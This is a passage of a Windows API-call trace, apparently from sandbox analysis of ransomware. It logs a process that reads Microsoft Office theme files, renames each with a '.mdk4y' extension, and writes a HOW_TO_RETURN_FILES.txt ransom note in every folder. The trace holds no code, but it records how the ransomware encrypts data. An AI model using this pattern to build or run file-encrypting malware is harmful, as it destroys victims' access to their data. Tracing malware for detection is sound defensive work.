(lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0120.080] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819531300000) returned 1 [0120.083] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1205e, lpOverlapped=0x0) returned 1 [0120.098] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819532800000) returned 1 [0120.098] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819532800000) returned 1 [0120.099] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.elm.mdk4y")) returned 1 [0120.101] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0120.101] AreFileApisANSI () returned 1 [0120.101] GetACP () returned 0x4e4 [0120.101] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RICEPAPR.INF", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="RICEPAPR.INF", lpUsedDefaultChar=0x37dec0) returned 12 [0120.101] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0120.101] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819533100000) returned 1 [0120.101] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x239, lpOverlapped=0x0) returned 1 [0120.102] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819533200000) returned 1 [0120.102] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819533200000) returned 1 [0120.102] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.inf.mdk4y")) returned 1 [0120.103] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0120.103] AreFileApisANSI () returned 1 [0120.103] GetACP () returned 0x4e4 [0120.103] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="THMBNAIL.PNG", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="THMBNAIL.PNG", lpUsedDefaultChar=0x37dec0) returned 12 [0120.103] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0120.103] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819533300000) returned 1 [0120.103] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xcf7b, lpOverlapped=0x0) returned 1 [0120.126] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819535600000) returned 1 [0120.126] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819535600000) returned 1 [0120.127] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png.mdk4y")) returned 1 [0120.127] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0120.127] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0120.127] AreFileApisANSI () returned 1 [0120.127] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x692108, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 89 [0120.128] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0120.128] GetFileType (hFile=0x130) returned 0x1 [0120.129] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0120.129] AreFileApisANSI () returned 1 [0120.129] GetACP () returned 0x4e4 [0120.129] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RIPPLE", cchWideChar=6, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="RIPPLEPR", lpUsedDefaultChar=0x37df4c) returned 6 [0120.129] AreFileApisANSI () returned 1 [0120.129] GetACP () returned 0x4e4 [0120.129] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=63, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\(Ɠ") returned 63 [0120.129] AreFileApisANSI () returned 1 [0120.129] GetACP () returned 0x4e4 [0120.129] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 1 [0120.129] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0120.129] AreFileApisANSI () returned 1 [0120.129] GetACP () returned 0x4e4 [0120.129] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 2 [0120.129] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0120.129] AreFileApisANSI () returned 1 [0120.129] GetACP () returned 0x4e4 [0120.129] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PREVIEW.GIF", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PREVIEW.GIFefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 11 [0120.129] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0120.130] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819536000000) returned 1 [0120.130] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xa2c, lpOverlapped=0x0) returned 1 [0120.165] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819539500000) returned 1 [0120.165] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819539500000) returned 1 [0120.166] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif.mdk4y")) returned 1 [0120.166] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0120.166] AreFileApisANSI () returned 1 [0120.166] GetACP () returned 0x4e4 [0120.166] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RIPPLE.ELM", cchWideChar=10, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="RIPPLE.ELMF", lpUsedDefaultChar=0x37dec0) returned 10 [0120.166] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0120.167] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819539700000) returned 1 [0120.167] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x101e0, lpOverlapped=0x0) returned 1 [0120.270] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819550000000) returned 1 [0120.270] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819550000000) returned 1 [0120.271] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.elm.mdk4y")) returned 1 [0120.272] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0120.272] AreFileApisANSI () returned 1 [0120.272] GetACP () returned 0x4e4 [0120.272] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RIPPLE.INF", cchWideChar=10, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="RIPPLE.INF", lpUsedDefaultChar=0x37dec0) returned 10 [0120.272] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0120.272] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819550200000) returned 1 [0120.272] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1e7, lpOverlapped=0x0) returned 1 [0120.273] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819550300000) returned 1 [0120.273] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819550300000) returned 1 [0120.273] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.inf.mdk4y")) returned 1 [0120.293] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0120.293] AreFileApisANSI () returned 1 [0120.293] GetACP () returned 0x4e4 [0120.293] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="THMBNAIL.PNG", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="THMBNAIL.PNGfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 12 [0120.293] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0120.294] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819552400000) returned 1 [0120.294] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x7ce7, lpOverlapped=0x0) returned 1 [0120.327] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819555700000) returned 1 [0120.327] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819555700000) returned 1 [0120.328] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png.mdk4y")) returned 1 [0120.328] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0120.328] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0120.329] AreFileApisANSI () returned 1 [0120.329] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0120.329] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0120.329] GetFileType (hFile=0x130) returned 0x1 [0120.330] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0120.330] AreFileApisANSI () returned 1 [0120.330] GetACP () returned 0x4e4 [0120.330] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RMNSQUE", cchWideChar=7, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="RMNSQUER", lpUsedDefaultChar=0x37df4c) returned 7 [0120.330] AreFileApisANSI () returned 1 [0120.330] GetACP () returned 0x4e4 [0120.330] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6aafd0, cbMultiByte=64, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\7\r") returned 64 [0120.330] AreFileApisANSI () returned 1 [0120.330] GetACP () returned 0x4e4 [0120.330] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0120.330] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0120.330] AreFileApisANSI () returned 1 [0120.330] GetACP () returned 0x4e4 [0120.330] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0120.330] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0120.330] AreFileApisANSI () returned 1 [0120.330] GetACP () returned 0x4e4 [0120.330] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PREVIEW.GIF", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PREVIEW.GIFefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 11 [0120.330] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0120.330] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819556000000) returned 1 [0120.331] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1004, lpOverlapped=0x0) returned 1 [0120.367] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819559700000) returned 1 [0120.367] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819559700000) returned 1 [0120.367] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif.mdk4y")) returned 1 [0120.368] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0120.368] AreFileApisANSI () returned 1 [0120.368] GetACP () returned 0x4e4 [0120.368] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RMNSQUE.ELM", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="RMNSQUE.ELM", lpUsedDefaultChar=0x37dec0) returned 11 [0120.368] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0120.368] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819559800000) returned 1 [0120.368] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x11e37, lpOverlapped=0x0) returned 1 [0120.370] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819560000000) returned 1 [0120.370] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819560000000) returned 1 [0120.371] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.elm.mdk4y")) returned 1 [0120.371] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0120.371] AreFileApisANSI () returned 1 [0120.371] GetACP () returned 0x4e4 [0120.371] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RMNSQUE.INF", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="RMNSQUE.INF", lpUsedDefaultChar=0x37dec0) returned 11 [0120.371] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0120.372] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819560200000) returned 1 [0120.372] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x265, lpOverlapped=0x0) returned 1 [0120.373] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819560300000) returned 1 [0120.373] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819560300000) returned 1 [0120.373] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.inf.mdk4y")) returned 1 [0120.375] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0120.375] AreFileApisANSI () returned 1 [0120.375] GetACP () returned 0x4e4 [0120.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="THMBNAIL.PNG", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="THMBNAIL.PNGfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 12 [0120.375] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0120.375] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819560500000) returned 1 [0120.375] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xbb5a, lpOverlapped=0x0) returned 1 [0120.409] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: 